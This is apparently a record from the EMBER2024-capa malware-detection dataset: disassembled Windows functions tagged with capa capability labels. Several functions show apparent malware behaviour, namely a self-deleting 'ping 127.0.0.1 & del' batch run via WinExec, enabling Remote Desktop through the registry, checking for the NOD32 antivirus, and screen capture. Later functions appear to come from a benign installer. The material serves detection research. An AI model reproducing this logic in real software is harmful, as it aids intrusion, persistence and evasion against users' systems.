joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d40
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Set file attributes
Start service
Terminate process

Disassembly:
mov eax, dword [0x4225fc]
push esi
test eax, eax
push edi
mov esi, ecx
jne 0x403d5e
mov eax, dword [0x412498]
test eax, eax
jne 0x403d5e
push 0
push esi
call fcn.00403750
push 0
lea eax, [esi + 0x164]
push 0
push eax
push 0x403970
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [esi + 0x268]
lea ecx, [esi + 0x60]
push edi
push ecx
call fcn.00403cd0
mov eax, dword [0x4126c0]
add esp, 8
test eax, eax
je 0x403dae
push edi
mov ecx, esi
call fcn.00404090
mov edx, dword [0x4126b0]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, esi
call fcn.00403ef0
mov eax, dword [0x4225fc]
test eax, eax
je 0x403de4
mov ecx, esi
call fcn.00403c70
push edi
call fcn.00404180
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [esi + 0x36c]
test eax, eax
je 0x403e19
push 0x412850
push edi
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x403e19
push edi
push 0xc8
call dword [sym.imp.MSVCRT.dll_fputc]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
mov eax, dword [0x412498]
test eax, eax
jne 0x403e40
mov eax, dword [esi + 0x36c]
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, dword [esi + 0x36c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x403e50
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0x190
push 0x411d7c
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x422604], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403e7f
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push 0
push 0
push 0
push 0x403f90
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
push 0
push 0
push 0
push 0x4068a0
push 0
push 0
call esi
push eax
call edi
push 0
push 0
push 0
push 0x4065f0
push 0
push 0
call esi
push eax
call edi
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
pop edi
pop esi
push 0
call fcn.004042b0
call fcn.004041f0
jmp 0x403edb
Function at 0x403ef0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.SystemTemp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0xf], 0
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0xc]
and ecx, 3
push 0x412854
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x403f81
add ebp, 0x60
push esi
push ebp
call dword [sym.imp.MSVCRT.dll_fputs]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
pop edi
pop esi
pop ebp
add esp, 0x104
ret

Function at 0x404090
Capabilities:
Check for time delay via gettickcount
Get file size

Disassembly:
sub esp, 0xc8
push ebp
push esi
push edi
mov edi, dword [esp + 0xd8]
push 0
push 0
push 3
push 0
push 1
push 8
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4040da
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x1400000
pop ebx
ja 0x40416b
test edi, edi
je 0x40416b
push 0x412864
push edi
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x40416b
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
stosw word es:[edi], ax
stosb byte es:[edi], al
call esi
and eax, 0x7f
mov ecx, 0x31
mov dl, al
lea edi, [esp + 0xc]
mov dh, dl
mov eax, edx
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call esi
xor edx, edx
mov ecx, 0xff
div ecx
mov eax, edx
shl eax, 6
add eax, edx
lea eax, [edx + eax*2]
shl eax, 3
je 0x404161
mov edi, dword [sym.imp.MSVCRT.dll_fputs]
mov esi, eax
lea ecx, [esp + 0xc]
push ebp
push ecx
call edi
add esp, 8
dec esi
jne 0x404153
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebp
add esp, 0xc8
ret 4

Function at 0x404180
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov edx, dword [esp + 0x5c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 4
mov word [esp + 0x6c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x4041e6
mov eax, dword [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
pop esi
add esp, 0x54
ret
Function at 0x4052e0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
mov esi, eax
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [esp + 0x118]
add esi, eax
mov eax, dword [esp + 0x114]
push ecx
lea edx, [esp + 0x10]
push esi
push edx
push str._s_d._s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
pop esi
add esp, 0x104
ret
Function at 0x4055e0
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x4127b8
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x405602
pop esi
add esp, 8
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x40567e
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
push esi
mov edi, edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret
push esi
xor edi, edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x4056a0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x1c]
push eax
push esi
mov dword [esp + 0x24], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x148]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x40]
push edi
push ecx
call ebx
test eax, eax
je 0x4056fd
lea edx, [esp + 0x1c]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x405701
lea eax, [esp + 0x40]
push edi
push eax
call ebx
test eax, eax
jne 0x4056e2
mov ebp, dword [esp + 0x24]
lea ecx, [esp + 0x10]
push str.N.O.D.3.2
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x134
ret

Function at 0x405810
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push 0
push str.fDenyTSConnections
push edx
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret
Function at 0x406370
Capabilities:
Create process on windows
Set file attributes

Disassembly:
sub esp, 0x608
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10c]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 8]
push 0x412b08
push edx
stosb byte es:[edi], al
call fcn.004052e0
lea eax, [esp + 0x10]
push 0x412854
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x221]
mov byte [esp + 0x220], 0
lea edx, [esp + 0x220]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x11c]
stosw word es:[edi], ax
push ecx
push str.ping_127.0.0.1_ndel___s__ndel__0
push edx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x22c]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_fputs]
add esp, 0x24
test esi, esi
je 0x406447
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea ecx, [esp + 8]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
xor eax, eax
pop esi
add esp, 0x608
ret
Function at 0x406460
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
xor bl, bl
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 0x104
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
push str.windir
call esi
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 1
jbe case.default.0x4064c0
mov ecx, dword [esp + 0x114]
lea eax, [ecx - 1]
cmp eax, 3
ja case.default.0x4064c0
jmp dword [eax*4 + 0x4065dc]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xe], bl
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x118]
mov edx, ecx
jmp 0x4065b3
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x118]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._system32
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
lea ecx, [esp + 0xc]
push 0x104
push ecx
push str.TEMP
call esi
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x118]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x104
ret
Function at 0x406fc0
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.00407030
mov ecx, dword [esi + 0xc]
mov eax, dword [esp + 0xc]
shr ecx, 2
test eax, eax
jne 0x406ff1
test ecx, ecx
jle 0x407026
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edx, dword [edx + eax*4]
mov dword [edi + eax*4], edx
inc eax
cmp eax, ecx
jl 0x406fdb
pop edi
pop esi
ret 4
jbe 0x407026
xor eax, eax
test ecx, ecx
jle 0x407026
push ebx
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edi, dword [edi + eax*4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
xor ebx, edi
mov dword [edx], ebx
mov edx, dword [esi + 8]
mov edi, dword [esi + 4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
mov edi, dword [edi + eax*4]
xor ebx, edi
inc eax
cmp eax, ecx
mov dword [edx], ebx
jl 0x406ffa
pop ebx
pop edi
pop esi
ret 4

Function at 0x407030
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x34
push ebx
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_puts]
push esi
push edi
mov ebx, ecx
push 0x412c0c
call ebp
add esp, 4
push 0
push 0
push 0
push 0x412c04
call dword [sym.imp.GDI32.dll_CreateDCA]
mov esi, eax
push 0x412c0c
mov dword [esp + 0x1c], esi
call ebp
add esp, 4
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
push 0x412c00
mov dword [esp + 0x18], edi
call ebp
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
add esp, 4
push eax
push ecx
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0x412bfc
mov dword [esp + 0x14], eax
call ebp
mov edx, dword [esp + 0x14]
add esp, 4
push edx
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x412bf8
call ebp
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
add esp, 4
push 0xcc0020
push 0
push 0
push esi
push eax
push ecx
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
push str.23DO
call ebp
mov eax, dword [ebx + 0x18]
mov cx, word [ebx + 0x1c]
mov edx, dword [ebx + 0x14]
add esp, 4
mov dword [esp + 0x24], eax
xor eax, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
mov word [esp + 0x2a], cx
mov ecx, 0xa
lea esi, [esp + 0x1c]
mov edi, eax
mov dword [esp + 0x1c], 0x28
mov dword [esp + 0x20], edx
mov word [esp + 0x28], 1
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebx + 0x10]
push 0
push eax
mov eax, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
add edx, eax
mov eax, dword [ebx + 0x18]
push edx
push eax
push 0
push edi
push esi
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0x412c0c
call ebp
add esp, 4
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push 0x412c00
call ebp
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call esi
push 0x412bfc
call ebp
add esp, 4
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0x412bf8
call ebp
push str.23DO
call ebp
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret
Function at 0x407dcc
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x3c
mov eax, 0x46d609
call fcn.004337ef
mov esi, ecx
mov edx, dword [ebp + 0x18]
xor ebx, ebx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x48], edx
lea edx, [ebp - 0x40]
push edx
push 0x20019
push ebx
push eax
push ecx
mov dword [ebp - 0x44], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x407e22
mov ecx, dword [esi + 0x18]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x44]
push eax
push str.Failed_to_open_registry_key___._Error_code_.
push 3
call fcn.004109fa
xor al, al
jmp 0x407e7c
lea eax, [ebp - 0x40]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x38]
lea eax, [ebp - 0x3c]
push eax
call fcn.004029c2
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], ebx
push eax
push dword [ebp - 0x48]
lea eax, [ebp + 0x14]
push eax
push ebx
push edi
push dword [ebp - 0x40]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x407e70
mov ecx, dword [esi + 0x18]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x44]
push eax
push str.Failed_to_query_registry_key___._Error_code_.
push 3
call fcn.004109fa
jmp 0x407e72
mov bl, 1
lea ecx, [ebp - 0x38]
call fcn.00407433
mov al, bl
call fcn.00433799
ret 0x18
Function at 0x4139c5
Capabilities:
Check if file exists
Delete file

Disassembly:
push 0x274
mov eax, 0x46e7ed
call fcn.004337ef
mov esi, dword [ebp + 8]
cmp dword [esi + 0x14], 8
jb 0x4139e1
mov eax, dword [esi]
jmp 0x4139e3
mov eax, esi
push str.fileLogger
lea ecx, [ebp - 0x234]
mov dword [ebp - 0x250], eax
call fcn.00406d51
lea eax, [ebp - 0x234]
xor edi, edi
push eax
lea eax, [ebp - 0x258]
mov dword [ebp - 4], edi
push eax
call fcn.0041ad09
pop ecx
pop ecx
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 1
push ecx
mov ecx, dword [eax]
push str.Cleaning_temporary_folder_at___.
push 2
call fcn.00403720
mov ecx, dword [ebp - 0x254]
test ecx, ecx
je 0x413a3b
call fcn.004085c6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x234]
push edi
push 1
call fcn.00409ecb
cmp dword [esi + 0x14], 8
jb 0x413a57
mov eax, dword [esi]
jmp 0x413a59
mov eax, esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x413b75
push 0x20c
lea eax, [ebp - 0x21c]
push edi
push eax
call fcn.0044d440
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x413a87
mov eax, dword [esi]
jmp 0x413a89
mov eax, esi
push eax
push 0x477488
lea eax, [ebp - 0x21c]
push 0x208
push eax
call fcn.00415ed4
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x278], edi
mov dword [ebp - 0x270], eax
add esp, 0x10
mov eax, 0x414
mov dword [ebp - 0x274], 3
mov word [ebp - 0x268], ax
lea eax, [ebp - 0x278]
mov dword [ebp - 0x26c], edi
push eax
mov dword [ebp - 0x266], edi
mov dword [ebp - 0x262], edi
mov dword [ebp - 0x25e], edi
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [ebp - 0x250], eax
test eax, eax
je 0x413b75
cmp dword [esi + 0x14], 8
jb 0x413b02
mov esi, dword [esi]
push str.fileLogger
lea ecx, [ebp - 0x24c]
mov dword [ebp - 0x254], esi
call fcn.00406d51
lea eax, [ebp - 0x24c]
mov dword [ebp - 4], 2
push eax
lea eax, [ebp - 0x280]
push eax
call fcn.0041ad09
pop ecx
pop ecx
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 3
push ecx
lea ecx, [ebp - 0x254]
push ecx
mov ecx, dword [eax]
push str.Failed_to_remove_temporary_folder___._Error_code:_
push 4
call fcn.004109fa
mov ecx, dword [ebp - 0x27c]
test ecx, ecx
je 0x413b63
call fcn.004085c6
push edi
push 1
lea ecx, [ebp - 0x24c]
call fcn.00409ecb
mov al, 1
jmp 0x413b77
xor al, al
call fcn.00433799
ret

Function at 0x413e02
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 4
mov eax, 0x46e8a1
call fcn.004337bb
and dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 8
cmovae eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x413e59
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 2
je 0x413e5d
cmp eax, 3
je 0x413e5d
sub esp, 0x18
mov ecx, esp
push 0x473014
call fcn.00406df3
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.00414396
add esp, 0x1c
jmp 0x413e77
test al, 0x10
jne 0x413e7b
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00406dcb
call fcn.00413e91
add esp, 0x18
test al, al
je 0x413e7b
mov bl, 1
jmp 0x413e7d
xor bl, bl
push 0
push 1
lea ecx, [ebp + 8]
call fcn.0042a3d6
mov al, bl
call fcn.00433784
ret
Function at 0x413e91
Capabilities:
Create directory

Disassembly:
push 0x20
mov eax, 0x46e8cc
call fcn.004337ef
and dword [ebp - 4], 0
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.DLL_GetLastError]
xor edi, edi
inc esi
push 0x477314
call fcn.0044efcc
pop ecx
push eax
lea eax, [edi + 1]
push eax
push 0x477314
lea ecx, [ebp + 8]
call fcn.00419cb3
mov edi, eax
lea ecx, [ebp + 8]
push edi
push 0
lea eax, [ebp - 0x28]
push eax
call fcn.0041db4b
mov byte [ebp - 4], 1
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
je 0x413f06
call ebx
cmp eax, 0xb7
je 0x413f06
test esi, esi
je 0x413f31
dec esi
jmp 0x413ede
push 0
push 1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0
call fcn.0042a3d6
cmp edi, 0xffffffff
jne 0x413eac
xor bl, bl
push 0
push 1
lea ecx, [ebp + 8]
call fcn.0042a3d6
mov al, bl
call fcn.00433799
ret
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.00406dcb
call ebx
push eax
call fcn.00414396
add esp, 0x1c
lea ecx, [ebp - 0x28]
push 0
push 1
call fcn.0042a3d6
mov bl, 1
jmp 0x413f1d

Function at 0x413f5a
Capabilities:
Check if file exists
Check mutex on windows
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, str.GOG_WEBINSTALLERMUTEX
push ebx
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.DLL_OpenMutexW]
test eax, eax
jne 0x413fb7
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 2
jne 0x413fb0
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
test eax, eax
jne 0x413fbe
sub esp, 0x18
mov ecx, esp
push 0x473014
call fcn.00406df3
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.00414396
add esp, 0x1c
jmp 0x413fbc
call fcn.00414579
jmp 0x413fbc
call fcn.00414777
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret